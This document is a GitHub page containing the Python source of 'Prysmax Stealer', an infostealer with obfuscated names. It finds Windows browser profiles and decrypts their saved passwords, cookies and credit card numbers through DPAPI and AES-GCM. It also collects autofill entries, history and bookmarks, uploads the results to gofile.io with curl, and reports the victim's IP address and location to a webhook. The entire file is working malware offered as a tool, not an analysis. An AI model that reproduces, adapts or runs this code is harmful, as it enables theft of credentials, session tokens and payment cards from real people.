-
Notifications
You must be signed in to change notification settings - Fork 58
/
Copy pathpasswords_cookies_bookmarks.py
385 lines (316 loc) · 18.6 KB
/
passwords_cookies_bookmarks.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
import os
import re
import shutil
import random
import threading
import subprocess
from base64 import b64decode
from json import loads, dumps
from zipfile import ZipFile, ZIP_DEFLATED
from sqlite3 import connect as sql_connect
from urllib.request import Request, urlopen
from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer
from Crypto.Cipher import AES
from json import *
h00k = ""
def G371P():
try:return urlopen(Request("https://api.ipify.org")).read().decode().strip()
except:return "None"
IP = G371P()
local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
temp = os.getenv("TEMP")
def G108411NF0():
try:
username = os.getenv("USERNAME")
ipdatanojson = urlopen(Request(f"https://geolocation-db.com/jsonp/{IP}")).read().decode().replace('callback(', '').replace('})', '}')
ipdata = loads(ipdatanojson)
contry = ipdata["country_name"]
contryCode = ipdata["country_code"].lower()
if contryCode == "not found":
globalinfo = f":rainbow_flag: - `{username.upper()} | {IP} ({contry})`"
else:
globalinfo = f":flag_{contryCode}: - `{username.upper()} | {IP} ({contry})`"
return globalinfo
except:
return f":rainbow_flag: - `{username.upper()}`"
class DATA_BLOB(Structure):
_fields_ = [
('cbData', wintypes.DWORD),
('pbData', POINTER(c_char))
]
k3YW0rd = ['[coinbase](https://coinbase.com)', '[sellix](https://sellix.io)', '[gmail](https://gmail.com)', '[steam](https://steam.com)', '[discord](https://discord.com)', '[riotgames](https://riotgames.com)', '[youtube](https://youtube.com)', '[instagram](https://instagram.com)', '[tiktok](https://tiktok.com)', '[twitter](https://twitter.com)', '[facebook](https://facebook.com)', '[epicgames](https://epicgames.com)', '[spotify](https://spotify.com)', '[yahoo](https://yahoo.com)', '[roblox](https://roblox.com)', '[twitch](https://twitch.com)', '[minecraft](https://minecraft.net)', '[paypal](https://paypal.com)', '[origin](https://origin.com)', '[amazon](https://amazon.com)', '[ebay](https://ebay.com)', '[aliexpress](https://aliexpress.com)', '[playstation](https://playstation.com)', '[hbo](https://hbo.com)', '[xbox](https://xbox.com)', '[binance](https://binance.com)', '[hotmail](https://hotmail.com)', '[outlook](https://outlook.com)', '[crunchyroll](https://crunchyroll.com)', '[telegram](https://telegram.com)', '[pornhub](https://pornhub.com)', '[disney](https://disney.com)', '[expressvpn](https://expressvpn.com)', '[uber](https://uber.com)', '[netflix](https://netflix.com)', '[github](https://github.com)', '[stake](https://stake.com)']
C00K1C0UNt, P455WC0UNt, CC5C0UNt, AU70F111C0UNt, H1570rYC0UNt, B00KM4rK5C0UNt = 0, 0, 0, 0, 0, 0
c00K1W0rDs, p45WW0rDs, H1570rY, CCs, P455w, AU70F11l, C00K13s, W411375Z1p, G4M1N6Z1p, O7H3rZ1p, THr34D1157, K1W1F113s, B00KM4rK5, T0K3Ns = [], [], [], [], [], [], [], [], [], [], [], [], [], ''
try:gofileserver = loads(urlopen("https://api.gofile.io/getServer").read().decode('utf-8'))["data"]["server"]
except:gofileserver = "store4"
GLINFO = G108411NF0()
def L04DUr118(h00k, data='', headers=''):
for i in range(8):
try:
if headers != '':
r = urlopen(Request(h00k, data=data, headers=headers))
else:
r = urlopen(Request(h00k, data=data))
return r
except:
pass
def G37D474(blob_out):
cbData = int(blob_out.cbData)
pbData = blob_out.pbData
buffer = c_buffer(cbData)
cdll.msvcrt.memcpy(buffer, pbData, cbData)
windll.kernel32.LocalFree(pbData)
return buffer.raw
def CryptUnprotectData(encrypted_bytes, entropy=b''):
buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
buffer_entropy = c_buffer(entropy, len(entropy))
blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
blob_out = DATA_BLOB()
if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)):
return G37D474(blob_out)
def D3CrYP7V41U3(buff, master_key=None):
starts = buff.decode(encoding='utf8', errors='ignore')[:3]
if starts == 'v10' or starts == 'v11':
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16]
try: decrypted_pass = decrypted_pass.decode()
except:pass
return decrypted_pass
def TrU57(C00K13s):
global DETECTED
data = str(C00K13s)
tim = re.findall(".google.com", data)
DETECTED = True if len(tim) < -1 else False
return DETECTED
def Wr173F0rF113(data, name):
path = os.getenv("TEMP") + f"\cr{name}.txt"
with open(path, mode='w', encoding='utf-8') as f:
for line in data:
if line[0] != '':
f.write(f"{line}\n")
def SQ17H1N6(pathC, tempfold, cmd):
shutil.copy2(pathC, tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute(cmd)
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)
return data
def r3F0rM47(listt):
e = re.findall("(\w+[a-z])",listt)
while "https" in e: e.remove("https")
while "com" in e: e.remove("com")
while "net" in e: e.remove("net")
return list(set(e))
def G37P455W(path, arg):
try:
global P455w, P455WC0UNt
if not os.path.exists(path): return
pathC = path + arg + "/Login Data"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SQ17H1N6(pathC, tempfold, "SELECT action_url, username_value, password_value FROM logins;")
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for row in data:
if row[0] != '':
for wa in k3YW0rd:
old = wa
if "https" in wa:
tmp = wa
wa = tmp.split('[')[1].split(']')[0]
if wa in row[0]:
if not old in p45WW0rDs: p45WW0rDs.append(old)
P455w.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {D3CrYP7V41U3(row[2], master_key)}")
P455WC0UNt += 1
Wr173F0rF113(P455w, 'passwords')
except:pass
def G37C00K13(path, arg):
try:
global C00K13s, C00K1C0UNt
if not os.path.exists(path): return
pathC = path + arg + "/Cookies"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SQ17H1N6(pathC, tempfold, "SELECT host_key, name, encrypted_value FROM cookies ")
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for row in data:
if row[0] != '':
for wa in k3YW0rd:
old = wa
if "https" in wa:
tmp = wa
wa = tmp.split('[')[1].split(']')[0]
if wa in row[0]:
if not old in c00K1W0rDs: c00K1W0rDs.append(old)
C00K13s.append(f"{row[0]} TRUE / FALSE 2597573456 {row[1]} {D3CrYP7V41U3(row[2], master_key)}")
C00K1C0UNt += 1
Wr173F0rF113(C00K13s, 'cookies')
except:pass
def G37CC5(path, arg):
try:
global CCs, CC5C0UNt
if not os.path.exists(path): return
pathC = path + arg + "/Web Data"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SQ17H1N6(pathC, tempfold, "SELECT * FROM credit_cards ")
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for row in data:
if row[0] != '':
CCs.append(f"C4RD N4M3: {row[1]} | NUMB3R: {D3CrYP7V41U3(row[4], master_key)} | EXP1RY: {row[2]}/{row[3]}")
CC5C0UNt += 1
Wr173F0rF113(CCs, 'creditcards')
except:pass
def G374U70F111(path, arg):
try:
global AU70F11l, AU70F111C0UNt
if not os.path.exists(path): return
pathC = path + arg + "/Web Data"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SQ17H1N6(pathC, tempfold,"SELECT * FROM autofill WHERE value NOT NULL")
for row in data:
if row[0] != '':
AU70F11l.append(f"N4M3: {row[0]} | V4LU3: {row[1]}")
AU70F111C0UNt += 1
Wr173F0rF113(AU70F11l, 'autofill')
except:pass
def G37H1570rY(path, arg):
try:
global H1570rY, H1570rYC0UNt
if not os.path.exists(path): return
pathC = path + arg + "History"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "cr" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SQ17H1N6(pathC, tempfold,"SELECT * FROM urls")
for row in data:
if row[0] != '':
H1570rY.append(row[1])
H1570rYC0UNt += 1
Wr173F0rF113(H1570rY, 'history')
except:pass
def G37W3851735(Words):
rb = ' | '.join(da for da in Words)
if len(rb) > 1000:
rrrrr = r3F0rM47(str(Words))
return ' | '.join(da for da in rrrrr)
else: return rb
def G37800KM4rK5(path, arg):
try:
global B00KM4rK5, B00KM4rK5C0UNt
if not os.path.exists(path): return
pathC = path + arg + "Bookmarks"
if os.path.exists(pathC):
with open(pathC, 'r', encoding='utf8') as f:
data = loads(f.read())
for i in data['roots']['bookmark_bar']['children']:
try:
B00KM4rK5.append(f"N4M3: {i['name']} | UR1: {i['url']}")
B00KM4rK5C0UNt += 1
except:pass
if os.stat(pathC).st_size == 0: return
Wr173F0rF113(B00KM4rK5, 'bookmarks')
except:pass
def s74r787Hr34D(func, arg):
global Browserthread
t = threading.Thread(target=func, args=arg)
t.start()
Browserthread.append(t)
def G378r0W53r5(br0W53rP47H5):
global Browserthread
ThCokk, Browserthread, filess = [], [], []
for patt in br0W53rP47H5:
a = threading.Thread(target=G37C00K13, args=[patt[0], patt[4]])
a.start()
ThCokk.append(a)
s74r787Hr34D(G374U70F111, [patt[0], patt[3]])
s74r787Hr34D(G37H1570rY, [patt[0], patt[3]])
s74r787Hr34D(G37800KM4rK5, [patt[0], patt[3]])
s74r787Hr34D(G37CC5, [patt[0], patt[3]])
s74r787Hr34D(G37P455W, [patt[0], patt[3]])
for thread in ThCokk: thread.join()
if TrU57(C00K13s) == True: __import__('sys').exit(0)
for thread in Browserthread: thread.join()
for file in ["crpasswords.txt", "crcookies.txt", "crcreditcards.txt", "crautofills.txt", "crhistories.txt", "crbookmarks.txt"]:
filess.append(UP104D7060F113(os.getenv("TEMP") + "\\" + file))
headers = {"Content-Type": "application/json","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"}
data = {
"content": GLINFO,
"embeds": [
{
"title": f"Prysmax Stealer | Password Stealer",
"description": f"**Found**:\n{G37W3851735(p45WW0rDs)}\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> • **{P455WC0UNt}** Passwords Found\n<a:CH_IconArrowRight:715585320178941993> • [PrysmaPasswords.txt]({filess[0]})",
"color": 2895667,
"footer": {"text": f"Prysmax Stealer",
"icon_url": "https://i.imgur.com/jJES3AX.png"}
},
{
"title": f"Prysmax Stealer | Cookies Stealer",
"description": f"**Found**:\n{G37W3851735(c00K1W0rDs)}\n\n**Data:**\n<:cookies_tlm:816619063618568234> • **{C00K1C0UNt}** Cookies Found\n<a:CH_IconArrowRight:715585320178941993> • [PrysmaCookies.txt]({filess[1]})",
"color": 2895667,
"footer": {"text": f"Prysmax Stealer",
"icon_url": "https://i.imgur.com/jJES3AX.png"}
},
{
"title": f"Prysmax Stealer | Browser Data",
"description": f":newspaper: • **{H1570rYC0UNt}** Histories Found\n<a:CH_IconArrowRight:715585320178941993> • [PrysmaHistories.txt]({filess[4]})\n\n<a:hira_kasaanahtari:886942856969875476> • **{AU70F111C0UNt}** Autofills Found\n<a:CH_IconArrowRight:715585320178941993> • [PrysmaAutofills.txt]({filess[3]})\n\n<a:4394_cc_creditcard_cartao_f4bihy:755218296801984553> • **{CC5C0UNt}** Credit Cards Found\n<a:CH_IconArrowRight:715585320178941993> • [PrysmaCreditCards.txt]({filess[2]})\n\n:bookmark: • **{B00KM4rK5C0UNt}** Bookmarks Found\n<a:CH_IconArrowRight:715585320178941993> • [PrysmaBookmarks.txt]({filess[5]})",
"color": 2895667,
"footer": {"text": f"Prysmax Stealer",
"icon_url": "https://i.imgur.com/jJES3AX.png"}
}
],
"username": f"Prysmax Stealer",
"avatar_url": "https://i.imgur.com/jJES3AX.png",
"attachments": []
}
L04DUr118(h00k, data=dumps(data).encode(), headers=headers)
return
def UP104D7060F113(path):
try:
r = subprocess.Popen(f"curl -F \"file=@{path}\" https://{gofileserver}.gofile.io/uploadFile", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
return loads(r[0].decode('utf-8'))["data"]["downloadPage"]
except: return False
def S74r77Hr34D(meth, args = []):
a = threading.Thread(target=meth, args=args)
a.start()
THr34D1157.append(a)
def G47H3r411():
' Default Path < 0 > ProcesName < 1 > Token < 2 > Password/CC < 3 > Cookies < 4 > Extentions < 5 > '
br0W53rP47H5 = [
[f"{roaming}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/" ],
[f"{roaming}/Opera Software/Opera Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/" ],
[f"{roaming}/Opera Software/Opera Neon/User Data/Default", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/" ],
[f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome Beta/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome Dev/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome Unstable/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Google/Chrome Canary/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Vivaldi/User Data", "vivaldi.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/Default/Local Extension Settings/" ],
[f"{local}/Yandex/YandexBrowser/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserCanary/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserDeveloper/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserBeta/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserTech/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Yandex/YandexBrowserSxS/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default/", "/Default/Network", "/HougaBouga/" ],
[f"{local}/Microsoft/Edge/User Data", "edge.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/" ]
]
S74r77Hr34D(G378r0W53r5, [br0W53rP47H5,] )
G47H3r411()